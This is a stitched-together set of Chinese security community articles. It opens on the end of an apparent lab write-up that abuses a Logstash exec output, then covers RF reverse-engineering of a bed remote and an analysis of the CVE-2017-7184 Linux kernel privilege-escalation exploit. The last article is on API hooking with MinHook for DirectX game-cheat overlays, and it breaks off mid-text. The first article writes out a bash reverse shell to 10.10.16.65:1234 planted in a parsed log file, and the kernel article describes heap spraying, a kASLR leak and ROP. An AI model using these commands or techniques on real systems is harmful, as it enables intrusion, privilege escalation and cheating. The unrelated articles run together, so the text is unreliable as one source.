这个利用非常明显。创建一个/opt/kibana/名称以开头的文件logstah_。并确保grok可以正确解析文件中的内容。然后，命令可以成功执行。最重要的部分是如何创建要解析的comando内容。因此，需要知道如何使用grok通过正则表达式识别特定字段。
grok 语法：%{SYNTAX:SEMANTIC} 即 %{正则:自定义字段名}
官方提供了很多正则:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns
grok debug工具： http://grokdebug.herokuapp.com
表达是很简单的。如果你知道正则表达式，那么这里的表达式将很容易理解。
修改配置文件如下
filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
接下来创建好可以解析的文件了，并把我我们要执行的命令放进入。反向shell命令我们直接用bash。所以我使用bash -i >&
/dev/tcp/10.10.16.65/1234 0>&1。将内容写入相应的文件：
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.65/1234 0>&1" > /opt/kibana/logstash_1.txt
使用nc监听端口1234，稍等片刻，就会得到反向shell。 | 社区文章 |
# 逆向Tempur-Pedic床垫底座遥控器（Part 1）
|
##### 译文声明
本文是翻译文章，文章原作者 aplante，文章来源：blog.aplante.io
原文地址：<https://blog.laplante.io/2019/01/reverse-engineering-the-tempur-pedic-adjustable-base-remote-control/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是本系列文章（可能会有三篇）的第一篇。
代码放在BitBucket：<https://bitbucket.org/MostThingsWeb/temper-bridge/src/master/main/>
大约在一年前，我决定把我的spring旧床垫换成TEMPUR-Contour Elite
Breeze，它非常好用。我还给它选了一个可调节的底座([这个](https://play.google.com/store/apps/details?id=com.tempur.ergo&hl=en))，这个也很好。它配有一个遥控器，如图所示：
这个底座宣传的另一个功能是可以通过Android和iPhone应用进行控制。不幸的是，它的Android应用自2014年以来就没有再更新过了，所以我无法用我的Google
Pixel进行控制，根据评论可知，我不是唯一一个。很明显，这需要DIY。
## 项目目标
1. 创建一个使用自己的RF（Radio Frequency, 射频）协议与底座通信的网关。
2. 开发一个Android应用，可以通过网关控制底座(下次)
## 类似项目
实现类似目标的其他项目可分为两类：
1. 与车载WiFi模块通话((例如：<https://github.com/docwho2/java-alexa-tempurpedic-skill>)
2. 将继电器集成到现有的遥控器中来模拟按钮按下的效果(例如：<http://www.quadomated.com/technology/automation/diy-tempurpedic-ergo-adjustable-bed-automation/> , <https://github.com/tomchapin/tempurpedic-remote-relay>)
改变实际的RF协议的好处是：第一，不依赖于集成的WiFi；第二，不具有破坏性。
## 研究FCC文档
由于遥控器是一种无线设备，所以它是由FCC（
美国联邦通信委员会）规范的。我们可以查找FCC
ID([UNQTPTAES](https://fccid.io/UNQTPTAES))来了解有关该设备的一些有用信息。由于制造商的保密要求，我们无法获得BOM、原理图和结构图。在这种情况下，最有用的文档是[测试报告](https://fccid.io/UNQTPTAES/Test-Report/Test-Report-1836264)。
下面是测试报告中一些有趣的摘录。
在第7页中，我们了解到在信道数和频率之间存在某种映射关系。该遥控器支持很多信道，这对于那些有多个底座的人来说很有用。
在第12页我们可以看到我们即将分析的信号：
第13-14页，遥控器通过无线电传送信息，例如按键信息。这意味着底座和遥控器遥控器之间没有持久的连接，而且通信可能是单向的(遥控器 =>
底座)。这是有意义的，因为底座不需要和遥控器对话。
## 软件无线电(Software-DefinedRadio,SDR)的初步研究
除了实际使用外，我还打算借这个项目的机会尝试使用SDR。尽管如此，在这里我不打算教授任何概念。
我选择的工具是HackRF
One([Amazon链接](https://amzn.to/2FrJhlM))。使用测试报告作为指南，通过[SDR#](https://airspy.com/download/)相对来说很容易就能找到信号：
右边是测试报告信号图，我们可以看到这两个信号非常接近，说明我们的方法是正确的。
结果表明，这里使用的调制方式是高斯频移键控（Gaussian frequency shift
keying）。非常感谢我的朋友Tim让我知道这是FSK（频移键控, Frequency-shift keying）。
## 监听SPI（Serial Peripheral Interface, 串行外设接口）总线
我使用[GNU
Radio](https://www.gnuradio.org/)来解调信号(在这里我不讨论这个问题，主要是因为我缺乏就这个问题发言的能力)。最后我厌倦了它，并查找一种更快的方式来逆向分析信号。
为此，我选择了Saleae逻辑分析仪(我用的是旧版；新版：[Amazon](https://amzn.to/2D2sgNb))。拆开遥控器，你会看到一个Si4431射频收发器：
还有一个Renesas单片机：
尝试dump
uC的ROM并逆向分析固件很有吸引力，但是根据FCC早期的测试报告可以知道ROM保护被启用。也许下次我们可以试一试，因为存在这样的PIN绕过技术：<https://github.com/q3k/m16c-interface>
但就目前而言，我们只是打算简单地监听连接uC和射频收发器的SPI总线。该总线用于配置射频芯片和传输数据。Si443x的数据表展示了很多可配置的设置：<https://www.silabs.com/documents/public/data-sheets/Si4430-31-32.pdf>
我们将在初始化期间(即安装电池后)捕获总线上的流量来了解是uC如何配置收发器的。这将揭示调制方法(剧透一下：即GFSK)和其他我们模拟遥控器需要的参数。方便起见，我编写了一小段解析SPI流量的Python脚本(在Saleae
logic中导出为CSV文件)，并显示寄存器读写：
流量展示了关于调制方法的一些细节。请注意，在本例中，我的遥控器被设置为9345信道，这就是它传递的方式。
* GFSK
* 标称载波频率：434.5856250 MHz(同样地，这取决于信道)
* 数据速率：12.8kbps
* 频偏（Frequency deviation）：25 kHz(相当于50 kHz带宽)
标称载波频率是中心频率的别称。所以，9345信道占用了[434.585 MHz-25 kHz，434.585 MHz+25 kHz]频段。
## 计算信道映射
那么遥控器是如何从“9345信道”得到434.5856250
MHz的呢？这个问题困扰了我大约两天。这不是简单的线性关系。我收集了几十个初始化序列，每次都有不同的(随机)信道号，并试着查找其中的联系。
不作进一步说明，最后的答案是下面的分段函数：
它并没有看上去那么糟糕。事实上，我唯一需要弄清楚的是分段的部分：
红色的部分对应于Si443x中的fc(frequency center，频率中心)
寄存器。因此，当用户改变射频信道时，uC需要做的就是调整收发器，只需改变fc寄存器。
上面的公式是从数据表中的这个公式推导出来的：
## 旁注：Si443x跳频
Si443x有一个简单的特性，允许你从单个信道选择寄存器进行信道切换。首先设置标称载波频率，然后设置信道步长(增量>=10
kHz)。它通常用于定时关键应用，如跳频。那么为什么Tempur pedic遥控器不使用它呢？由于该系统支持9999个信道，所以10
kHz的信道步长太大了。遥控器信道方案采用~156.2 Hz信道步长。
## Si443x包结构
回想一下我们如何处理突发通信（burst
communication）。这意味着接收方需要随时准备好并侦听数据。像遥控器这样的设备怎样才能以一种高效的方式做到这一点呢？回答：前导码（preamble）(“唤醒”接收者)和同步字（sync-word）组合。
## 前导码（preamble）
前导码被设计为既“容易”发现，又不太可能被随机接收。常见的选择是1和0的交替序列。Tempul-Pedic遥控器使用这个序列，长度为40位。
## 同步字（sync-word）
前导码检测器可以在前导码中唤醒收发器。它如何知道数据的实际来源？这就是同步字的意义所在。在检测到前导码后，接收机在(可配置)一段时间内搜索同步字。
## 包长
Si443x可以选择固定或可变长度模式。在这个例子中，遥控器使用可变长度模式，虽然我看到的来自它的所有数据长度都相同。因此，我们需要处理数据包长度报头。
## 数据和CRC（Cyclic Redundancy Check, 循环冗余校验）
CRC是一种检测收发器错误的完整性校验。它是由Si443x进行处理的。
## 数据
现在终于是时候分析遥控器实际发送的数据了。这是我用来解码协议的摘录表格。我把遥控器调到不同的信道，并按下各个按钮。
很快我们就可以看到，每个传输在0x96开始，与信道和命令：
接下来的三个字节与信道无关，与命令有关。
接下来的两个字节是信道号。例如：0x03F2 == 1010(10)
但最后那部分呢？这显然与命令和信道都不相关。
## 逆向CRC
结果表明，每个传输中的最后一个字节是另一个CRC。但是[哪一个](https://users.ece.cmu.edu/~koopman/crc/crc32.html)呢？没有一个是共同的。值得庆幸的是，有一些逆向CRC的工具。我选择了这个：<http://reveng.sourceforge.net/>
你所需要做的就是给它一个输入(数据)=>输出(CRC)的映射，它将强制执行CRC参数。我得到的输出如下图所示：
参数：width=8, poly=0x8D, init=0xFF, refin=false, refout=false, xorout=0x00,
check=0xFD, residue=0x00, name=(none)
“name=(none)”部分意味着这组参数不对应于任何熟悉的CRC。
回想一下，Si443x已经有了自己的CRC。为什么遥控器要用另一个呢？我的猜测是，工程师们选择添加这个应用级别的CRC，用来防止uc和收发器之间的数据损坏。例如，假设SPI总线上的一些噪声导致收发器“看到”uC打算发送的不同数据。收发器无法知道这一点，所以它会尽职尽责地传送它。底座的接收器可能识别也可能不识别损坏的命令。应用级别的CRC确保可以检测到SPI总线上的传输错误。
## “突发”命令
遥控器上的大多数按钮似乎没有去抖动（debounce）功能。例如，当按下诸如STOP或FLAT之类的命令时，遥控器实际上会将其发送一至三次(根据我的经验)。这是一件好事，因为它增加了接收方实际接收命令的可能性。这些类型的命令是幂等的，所以即使底座接收到多个相同的命令也没关系。
用来抬高/降低腿部和头部的按钮被按下时，会使相应的命令被重复传送，直到按钮松开为止。
## 按摩按钮
按摩按钮是个有趣的例子。这六个按钮可以增大/减小腿部、腰椎和头部区域的按摩强度。最开始，我猜测它们是通过每个按钮对应一个命令来实现，就像抬高/降低腿部/头部的按钮一样。但事实上它更加复杂。
底座有11个按摩强度，介于0到10之间，0为关闭。遥控器记录每个区域的当前按摩强度。当用户点击“+”或“-”按钮时，遥控器发送一个对区域和新按摩强度进行编码的按摩命令。换句话说，它传递绝对的按摩强度。这意味着它实际上有33个离散命令来实现遥控器的按摩按钮(11个级别*3个区域)。这与抬高/降低腿部/头部的按钮形成对比，后者仅仅传递相对定位命令(“+1”或“-1”)。
那么为什么按摩功能会这么复杂？这是我的理论，在前面的“突发命令”一节中，我们了解到遥控器发送多次命令，以便提高正确接收命令的概率。这对于幂等命令来说很好，比如STOP、FLAT等。对于抬高/降低腿部/头部的按钮来说，这也是很好的，因为它们的位置划分得非常细，用户按下抬高腿部按钮可能不会注意到+1或+3的差别。但由于按摩只有11个级别，如果有一次“增加腰部按摩强度”添加了+1，而下一次添加了+3，用户肯定会注意到差别。
## 自动选择信道
系统的一个有趣的特性是能够自动选择信道。要做到这一点，需要按住FLAT和STOP按钮10秒，然后按下STOP按钮。遥控器的液晶显示器在显示新的射频信道时会闪烁。当它闪烁时，拔掉底座插头然后重新连接。如果操作正确，底座中的继电器会确认新信道。
当遥控器闪烁显示新信道时，实际上它是在内部通过一个特殊的广播信道5568(fc = 25088, frequency = 433.9200000
MHz)发送信道号。根据推测，底座插入电源后会立即收听这个信道。
注：系统的一个限制是，射频信道是完全随机的，尽管有9999个可能的信道，但可能会发生碰撞。
## 制作接收器的原型
理解协议后，我尝试建立一个接收器，它可以解码我的Tempur-Pedic遥控器命令。我选择了下面的Si443x收发器作为原型：[https://www.tindie.com/products/modtronicsaustralia/rfm22b-wireless-breakout-board-800m-range/($22.95](https://www.tindie.com/products/modtronicsaustralia/rfm22b-wireless-breakout-board-800m-range/\(%2422.95)).
最后，我实际上将选择Si446x([示例](https://www.tindie.com/products/nifteecircuits/low-current-transceiver-with-antenna-si4463/))，因为Si443x已经停产。
我使用的单片机（Microcontroller）是ESP32(21.95美元)：[https://www.sparkfun.com/products/13907。这是一个完美的选择，因为它支持蓝牙、低功耗和WiFi，我计划在这个项目的下一部分使用这两种功能，在这个项目中，我会开发自己的Android应用来控制我的底座。](https://www.sparkfun.com/products/13907%E3%80%82%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84%E9%80%89%E6%8B%A9%EF%BC%8C%E5%9B%A0%E4%B8%BA%E5%AE%83%E6%94%AF%E6%8C%81%E8%93%9D%E7%89%99%E3%80%81%E4%BD%8E%E5%8A%9F%E8%80%97%E5%92%8CWiFi%EF%BC%8C%E6%88%91%E8%AE%A1%E5%88%92%E5%9C%A8%E8%BF%99%E4%B8%AA%E9%A1%B9%E7%9B%AE%E7%9A%84%E4%B8%8B%E4%B8%80%E9%83%A8%E5%88%86%E4%BD%BF%E7%94%A8%E8%BF%99%E4%B8%A4%E7%A7%8D%E5%8A%9F%E8%83%BD%EF%BC%8C%E5%9C%A8%E8%BF%99%E4%B8%AA%E9%A1%B9%E7%9B%AE%E4%B8%AD%EF%BC%8C%E6%88%91%E4%BC%9A%E5%BC%80%E5%8F%91%E8%87%AA%E5%B7%B1%E7%9A%84Android%E5%BA%94%E7%94%A8%E6%9D%A5%E6%8E%A7%E5%88%B6%E6%88%91%E7%9A%84%E5%BA%95%E5%BA%A7%E3%80%82)
可以在这里找到(还在开发中)代码：<https://bitbucket.org/MostThingsWeb/temper-bridge/src/master/main/>
我很快就会发布更多的细节(希望如此)。
## 下一步
接收端代码已基本完成，所以接下来我将处理的发射器部分。然后，我将开发蓝牙低功耗（Bluetooth Low Energy）接口和一个Android应用。 | 社区文章 |
# 【漏洞分析】PWN2OWN 2017 Linux 内核提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：赵汉青@长亭科技
原文地址：<https://zhuanlan.zhihu.com/p/26674557>
译文仅供参考，具体内容表达以及含义原文为准。
**0.前言**
**在2017年PWN2OWN大赛中，长亭安全研究实验室（Chaitin Security Research Lab）成功演示了Ubuntu 16.10
Desktop的本地提权。本次攻击主要利用了linux内核IPSEC框架(自linux2.6开始支持)中的一个内存越界漏洞，CVE编号为CVE-2017-7184。**
众所周知，Linux的应用范围甚广,我们经常使用的Android、Redhat、CentOS、Ubuntu、Fedora等都使用了Linux操作系统。在PWN2OWN之后，Google、Redhat也针对相应的产品发出了漏洞公告或补丁(见参考资料)。并表示了对长亭安全研究实验室的致谢，在此也建议还没有升级服务器内核的小伙伴们及时更新内核到最新版本:P
不同于通常的情况，为了增加比赛难度，本次PWN2OWN大赛使用的Linux版本开启了诸多漏洞缓解措施，kASLR、SMEP、SMAP都默认开启，在这种情况下，漏洞变得极难利用，很多漏洞可能仅仅在这些缓解措施面前就会败下阵来。
另外值得一提的是，本次利用的漏洞隐蔽性极高，在linux内核中存在的时间也非常长。因为触发这个漏洞不仅需要排布内核数据结构，而且需要使内核处理攻击者精心构造的数据包，使用传统的fuzz方式几乎是不可能发现此漏洞的。
最终，长亭安全研究实验室成功利用这个漏洞在PWN2OWN的赛场上弹出了PWN2OWN历史上的第一个xcalc, ZDI的工作人员们看到了之后也表示惊喜不已。
下面一起来看一下整个漏洞的发现和利用过程。
**1.IPSEC协议简介**
IPSEC是一个协议组合，它包含AH、ESP、IKE协议，提供对数据包的认证和加密功能。
为了帮助更好的理解漏洞成因，下面有几个概念需要简单介绍一下
**(1) SA(Security Associstion)**
SA由spi、ip、安全协议标识(AH或ESP)这三个参数唯一确定。SA定义了ipsec双方的ip地址、ipsec协议、加密算法、密钥、模式、抗重放窗口等。
**(2) AH(Authentication Header)**
AH为ip包提供数据完整性校验和身份认证功能，提供抗重放能力，验证算法由SA指定。
**(3) ESP(Encapsulating security payload)**
ESP为ip数据包提供完整性检查、认证和加密。
**2.Linux内核的IPSEC实现**
在linux内核中的IPSEC实现即是xfrm这个框架，关于xfrm的代码主要在net/xfrm以及net/ipv4下。
以下是/net/xfrm下的代码的大概功能
xfrm_state.c 状态管理
xfrm_policy.c xfrm策略管理
xfrm_algo.c 算法管理
xfrm_hash.c 哈希计算函数
xfrm_input.c 安全路径(sec_path)处理， 用于处理进入的ipsec包
xfrm_user.c netlink接口的SA和SP(安全策略)管理
其中xfrm_user.c中的代码允许我们向内核发送netlink消息来调用相关handler实现对SA和SP的配置，其中涉及处理函数如下。
xfrm_dispatch[XFRM_NR_MSGTYPES] = {
[XFRM_MSG_NEWSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
[XFRM_MSG_DELSA - XFRM_MSG_BASE] = { .doit = xfrm_del_sa },
[XFRM_MSG_GETSA - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
.dump = xfrm_dump_sa,
.done = xfrm_dump_sa_done },
[XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy },
[XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
.dump = xfrm_dump_policy,
.done = xfrm_dump_policy_done },
[XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
[XFRM_MSG_ACQUIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire },
[XFRM_MSG_EXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
[XFRM_MSG_UPDPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy },
[XFRM_MSG_UPDSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
[XFRM_MSG_POLEXPIRE - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
[XFRM_MSG_FLUSHSA - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa },
[XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy },
[XFRM_MSG_NEWAE - XFRM_MSG_BASE] = { .doit = xfrm_new_ae },
[XFRM_MSG_GETAE - XFRM_MSG_BASE] = { .doit = xfrm_get_ae },
[XFRM_MSG_MIGRATE - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate },
[XFRM_MSG_GETSADINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo },
[XFRM_MSG_NEWSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
.nla_pol = xfrma_spd_policy,
.nla_max = XFRMA_SPD_MAX },
[XFRM_MSG_GETSPDINFO - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo },
};
下面简单介绍一下其中几个函数的功能:
**xfrm_add_sa**
创建一个新的SA，并可以指定相关attr，在内核中，是用一个xfrm_state结构来表示一个SA的。
**xfrm_del_sa**
删除一个SA，也即删除一个指定的xfrm_state。
**xfrm_new_ae**
根据传入参数，更新指定xfrm_state结构中的内容。
**xfrm_get_ae**
根据传入参数，查询指定xfrm_state结构中的内容(包括attr)。
**3.漏洞成因**
当我们发送一个XFRM_MSG_NEWSA类型的消息时，即可调用xfrm_add_sa函数来创建一个新的SA，一个新的xfrm_state也会被创建。在内核中，其实SA就是使用xfrm_state这个结构来表示的。
若在netlink消息里面使用XFRMA_REPLAY_ESN_VAL这个attr，一个replay_state_esn结构也会被创建。它的结构如下所示，可以看到它包含了一个bitmap，这个bitmap的长度是由bmp_len这个成员变量动态标识的。
struct xfrm_replay_state_esn {
unsigned int bmp_len;
__u32 oseq;
__u32 seq;
__u32 oseq_hi;
__u32 seq_hi;
__u32 replay_window;
__u32 bmp[0];
};
内核对这个结构的检查主要有以下几种情况:
首先，xfrm_add_sa函数在调用verify_newsa_info检查从用户态传入的数据时，会调用verify_replay来检查传入的replay_state_esn结构。
static inline int verify_replay(struct xfrm_usersa_info *p,
struct nlattr **attrs)
{
struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL];
struct xfrm_replay_state_esn *rs;
if (p->flags & XFRM_STATE_ESN) {
if (!rt)
return -EINVAL;
rs = nla_data(rt);
if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8)
return -EINVAL;
if (nla_len(rt) < xfrm_replay_state_esn_len(rs) &&
nla_len(rt) != sizeof(*rs))
return -EINVAL;
}
if (!rt)
return 0;
/* As only ESP and AH support ESN feature. */
if ((p->id.proto != IPPROTO_ESP) && (p->id.proto != IPPROTO_AH))
return -EINVAL;
if (p->replay_window != 0)
return -EINVAL;
return 0;
}
这个函数要求replay_state_esn结构的bmp_len不可以超过最大限制XFRMA_REPLAY_ESN_MAX。
另外，在这个创建xfrm_state的过程中，如果检查到成员中有xfrm_replay_state_esn结构，如下函数中的检查便会被执行。
int xfrm_init_replay(struct xfrm_state *x)
{
struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
if (replay_esn) {
if (replay_esn->replay_window >
replay_esn->bmp_len * sizeof(__u32) * 8) <-----检查replay_window
return -EINVAL;
if (x->props.flags & XFRM_STATE_ESN) {
if (replay_esn->replay_window == 0)
return -EINVAL;
x->repl = &xfrm_replay_esn;
} else
x->repl = &xfrm_replay_bmp;
} else
x->repl = &xfrm_replay_legacy;
return 0;
}
这个函数确保了replay_window不会比bitmap的长度大，否则函数会直接退出。
下面再来看一下xfrm_new_ae这个函数,它首先会解析用户态传入的几个attr，然后根据spi的哈希值以及ip找到指定的xfrm_state，之后xfrm_replay_verify_len中会对传入的replay_state_esn结构做一个检查，通过后即会调用xfrm_update_ae_params函数来更新对应的xfrm_state结构。下面我们来看一下xfrm_replay_verify_len这个函数。
static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_esn,
struct nlattr *rp)
{
struct xfrm_replay_state_esn *up;
int ulen;
if (!replay_esn || !rp)
return 0;
up = nla_data(rp);
ulen = xfrm_replay_state_esn_len(up);
if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen)
return -EINVAL;
return 0;
}
我们可以看到这个函数没有对replay_window做任何的检查，只需要提供的bmp_len与xfrm_state中原来的bmp_len一致就可以通过检查。所以此时我们可以控制replay_window超过bmp_len。之后内核在处理相关IPSEC数据包进行重放检测相关的操作时，对这个bitmap结构的读写操作都可能会越界。
**4.漏洞利用**
**(1).权限不满足**
/* All operations require privileges, even GET */
if (!netlink_net_capable(skb, CAP_NET_ADMIN))
return -EPERM;
在xfrm_user_rcv_msg函数中，我们可以看到，对于相关的操作，其实都是需要CAP_NET_ADMIN权限的。那是不是我们就无法触发这个漏洞了呢？
答案是否定的，在这里我们可以利用好linux的命名空间机制，在ubuntu，Fedora等发行版，User
namespace是默认开启的。非特权用户可以创建用户命名空间、网络命名空间。在命名空间内部，我们就可以有相应的capability来触发漏洞了。
**(2).越界写**
当内核在收到ipsec的数据包时，最终会在xfrm_input解包并进行相关的一些操作。在xfrm_input中，找到对应的xfrm_state之后，根据数据包内容进行重放检测的时候会执行x->repl->advance(x,
seq);，即xfrm_replay_advance_esn这个函数。
这个函数会对bitmap进行如下操作
**1.清除[last seq, current seq)的bit**
**2.设置bmp[current seq] = 1**
我们可以指定好spi、seq等参数(内核是根据spi的哈希值以及ip地址来确定SA的)，并让内核来处理我们发出的ESP数据包，多次进行这个操作即可达到对越界任意长度进行写入任意值。
**(3).越界读**
我们的思路是使用越界写，改大下一个replay_state_esn的结构中的bmp_len。之后我们就可以利用下一个bitmap结构进行越界读。所以我们需要两个相邻的replay_state结构。我们可以使用defragment技巧来达到这个效果。即首先分配足够多的同样大小的replay_state结构把堆上原来的坑填满，之后便可大概率保证连续分配的replay_state结构是相邻的。
如上所述，使用越界写的能力将下一个bitmap长度改大，即可使用这个bitmap结构做越界读了。
图中所示为被改掉bmp_len的bitmap结构。
**(4).绕过kASLR**
我们通过xfrm_del_sa接口把没用的xfrm_state都给删掉。这样就可以在堆上留下很多的坑。之后我们可以向内核喷射很多struct
file结构体填在这些坑里。
如下，利用上面已经构造出的越界读能力，我们可以泄露一些内核里的指针来算出内核的加载地址和bitmap的位置。
**5.内核任意地址读写及代码执行**
因为已经绕过了内核地址随机化,这时我们可以进行内核ROP构造了。
1.在这个漏洞的利用当中，我们可以在bitmap中伪造一个file_operations结构。
2.之后通过越界写可以改写掉我们刚刚在内核中喷射的struct file结构体的file_operations指针，使其指向合适的ROPgadget。
3.调用llseek函数(实际上已经是rop gadget)来执行我们事先已经准备好的ROP链。
4.通过多次改写file_operations结构中的llseek函数指针来实现多次执行ROPgadget实现提权。
如上所述，因为我们的数据都是伪造在内核里面，所以这种利用方式其实是可以同时绕过SMEP和SMAP的。
**6.权限提升**
下面是长亭安全研究实验室在pwn2own2017上弹出xcalc的瞬间。
**5.后记**
非常感谢slipper老师的指导和讲解 😛
感谢长亭安全研究实验室的所有小伙伴:P
**6.参考资料**
IPSEC协议: [IPsec –
Wikipedia](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/IPsec)
linux命名空间机制: [Namespaces in operation, part 1: namespaces
overview](http://link.zhihu.com/?target=https%3A//lwn.net/Articles/531114/)
CVE-2017-7184: [CVE-2017-7184: kernel: Local privilege escalation in XFRM
framework](http://link.zhihu.com/?target=http%3A//www.openwall.com/lists/oss-security/2017/03/29/2)
@thezdi:
[https://twitter.com/thezdi/status/842132539330375684](http://link.zhihu.com/?target=https%3A//twitter.com/thezdi/status/842132539330375684)
Android漏洞公告:[https://source.android.com/security/bulletin/2017-05-01](http://link.zhihu.com/?target=https%3A//source.android.com/security/bulletin/2017-05-01)
Redhat:[Red Hat Customer
Portal](http://link.zhihu.com/?target=https%3A//access.redhat.com/security/cve/cve-2017-7184) | 社区文章 |
# DirectX Hook - 优雅的实现游戏辅助窗口
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：The_Itach1@知道创宇404实验室
日期：2022年12月27日**
前言：最近看到了一个github的项目，分析过后觉得里面无论是代码还是界面都很好看，然后开始研究其代码。
这篇文章主要分析其如何实现的辅助窗口的实现，其用到的东西有minihook+DirectX11(9) Hook+imgui。
## Minihook
项目地址：[TsudaKageyu/minhook: The Minimalistic x86/x64 API Hooking Library for
Windows (github.com)](https://github.com/TsudaKageyu/minhook)
先来了解下Minihook，Minihook是适用于 Windows 的简约 x86/x64 API 挂钩库。
一般来说，我们Hook windwos API的步骤是
* 编写DLL，确定Hook 的API函数。
* 编写自己的函数。
* 根据PE结构的知识点，遍历IAT函数表，根据函数名找到函数地址，进行修改，修改为我们的函数地址。
常见Hook IAT代码如下。
// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
// hMod, pAddr = ImageBase of calc.exe
// = VA to MZ signature (IMAGE_DOS_HEADER)
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
// pAddr = VA to PE signature (IMAGE_NT_HEADERS)
pAddr += *((DWORD*)&pAddr[0x3C]);
// dwRVA = RVA to IMAGE_IMPORT_DESCRIPTOR Table
dwRVA = *((DWORD*)&pAddr[0x80]);
// pImportDesc = VA to IMAGE_IMPORT_DESCRIPTOR Table
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
for( ; pImportDesc->Name; pImportDesc++ )
{
// szLibName = VA to IMAGE_IMPORT_DESCRIPTOR.Name
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
if( !_stricmp(szLibName, szDllName) )
{
// pThunk = IMAGE_IMPORT_DESCRIPTOR.FirstThunk
// = VA to IAT(Import Address Table)
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
// pThunk->u1.Function = VA to API
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
可以看到过程还是比较繁琐，Minihook就很好的帮我们简化这个过程。
写一个hook弹窗的样例吧，将minihook对应的lib导入到项目后，就可以直接使用了，很方便。
#include <Windows.h>
#include <iostream>
#include "minhook/minhook.h"
#pragma comment (lib, "minhook/minhook.lib")
//typedef int (WINAPI* fMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
using fMessageBoxA = int(WINAPI*)(HWND , LPCSTR , LPCSTR , UINT );
fMessageBoxA pMessageBoxA = NULL;
PVOID pMessageBoxAAddress;
int WINAPI MessageBoxAHooked(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
LPCSTR lpMyText = "Hacked by The_Itach1";
return pMessageBoxA(hWnd, lpMyText, lpCaption, uType);
}
void SetupMessageBoxAHook()
{
pMessageBoxAAddress = (LPVOID)MessageBoxA;
if (MH_CreateHook(pMessageBoxAAddress, &MessageBoxAHooked, (PVOID*)&pMessageBoxA) != MH_OK)
return;
if (MH_EnableHook(pMessageBoxAAddress) != MH_OK)
return;
std::cout << "MessageBoxA Hook start!\n";
}
void initHook()
{
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "alternative hack", MB_OK | MB_ICONERROR);
}
}
void UnHook()
{
MH_DisableHook((PVOID)MessageBoxA);
MH_RemoveHook((PVOID)MessageBoxA);
MH_Uninitialize();
}
int main()
{
//minhook的初始化
initHook();
//MessageBoxAHook
SetupMessageBoxAHook();
//测试是否hook成功
MessageBoxA(NULL, "box1", "box1", MB_OK);
//卸载hook
UnHook();
MessageBoxA(NULL, "box2", "box2", MB_OK);
system("pause");
}
效果如下，可以看出当hook时，弹窗的内容被修改了，不hook时，就是正常的弹窗了。
而且minihook相比于IAT hook，或者Detours，感觉操作上更加的简便。
## DirectX11
### DirectX 简介
DirectX 是 Windows 中的一组组件，允许软件（主要且尤其是游戏）直接与视频和音频硬件结合使用。 使用 DirectX
的游戏可以更有效地使用内置于硬件的多媒体加速器功能，从而改善你的整体多媒体体验。
### 为什么要挂钩DirectX
在为游戏创建作弊时，渲染额外的内容或修改模型在游戏中的渲染方式迟早可能需要。有多种技术可以实现这一点，但最常见的技术之一是挂钩 DirectX API 的
3D 图形组件。
比如说D3D
